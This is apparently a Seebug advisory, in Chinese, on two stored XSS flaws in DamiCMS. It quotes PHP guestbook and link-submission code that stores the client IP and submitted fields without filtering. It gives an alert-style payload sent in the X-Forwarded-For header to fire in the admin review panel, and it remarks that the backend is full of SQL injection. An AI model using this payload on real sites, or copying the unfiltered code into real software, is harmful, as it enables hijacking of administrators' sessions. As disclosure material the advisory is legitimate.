大米CMS多处XSS盲打后台

2014-11-01T00:00:00
ID SSV:95292
Type seebug
Reporter Root
Modified 2014-11-01T00:00:00

Description

简要描述:

大米CMS多处XSS盲打后台

详细说明:

大米CMS多处XSS可以盲打后台,大米CMS后台的SQL注入一大堆,只要进了后台获取数据不成问题 第一处 文件/Web/Lib/Action/GuestbookAction.class.php

public function update() { //输出gb2312码,ajax默认转的是utf-8 header("Content-type: text/html; charset=utf-8"); if(!isset($_POST['author']) or !isset($_POST['content'])) { alert('非法操作!',3); } //读取数据库和缓存 $pl = M('guestbook'); $config = F('basic','','./Web/Conf/'); //相关判断 if(Session::is_set('posttime')) { $temp = Session::get('posttime') + $config['postovertime']; if(time() < $temp) { echo "请不要连续发布!"; exit; } } //准备工作 if($config['bookoff'] == 0) $data['status'] = 0; //先解密js的escape $data['author'] = htmlspecialchars(unescape($_POST['author'])); $data['content'] = htmlspecialchars(trim(unescape($_POST['content']))); $data['title'] = htmlspecialchars(trim(unescape($_POST['title']))); $data['tel'] = htmlspecialchars(trim(unescape($_POST['tel']))); $data['ip'] = get_client_ip(); $data['addtime'] = date('Y-m-d H:i:s'); //处理数据 if($pl->add($data)) { Session::set('posttime', time()); if($config['bookoff'] == 0) { echo '发布成功,留言需要管理员审核!'; exit; } else { echo '发布成功!'; exit; } } else { echo '发布失败!'; exit; } }

这里$data['ip'] = get_client_ip(); 但是get_client_ip是没有处理任何XSS内容的 发表文章时X-Forwarded_For可设置XSS payload,发表留言后,直接进入数据库,然后等管理员审核 第二处 文件/Web/Lib/Action/IndexAction.class.php

public function doreglink() { header("Content-type: text/html; charset=utf-8"); $data['title'] = $_POST['Title']; $data['url'] = $_POST['LinkUrl']; $data['logo'] = $_POST['LogoUrl']; $data['status'] = 0; $data['rank'] = 10; $link = M('link'); if($link->add($data)) { echo "<br/><br/><br/><font color=red>添加成功,等待审核!请在贵站加上本站链接。</font>"; } else { echo "<br/><br/><br/><font color=red>添加失败,请联系管理员!</font>"; } }

这里的三个参数都没有过滤XSS 申请链接后,等管理员审核

漏洞证明:

第一处发送留言时:

X-Forwarded_For="><img/src=1 onerror=alert(1)>

<img src="https://images.seebug.org/upload/201410/311858015144196ee677f657bd1bb1cc3a1b1652.png" alt="dami4.png" width="600" onerror="javascript:errimg(this);">

第二处:

<img src="https://images.seebug.org/upload/201410/31185815a72c13c917991533b195131c55de716c.png" alt="dami5.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201410/311858232afdd15bea595da368c7d32c40a5c37a.png" alt="dami6.png" width="600" onerror="javascript:errimg(this);">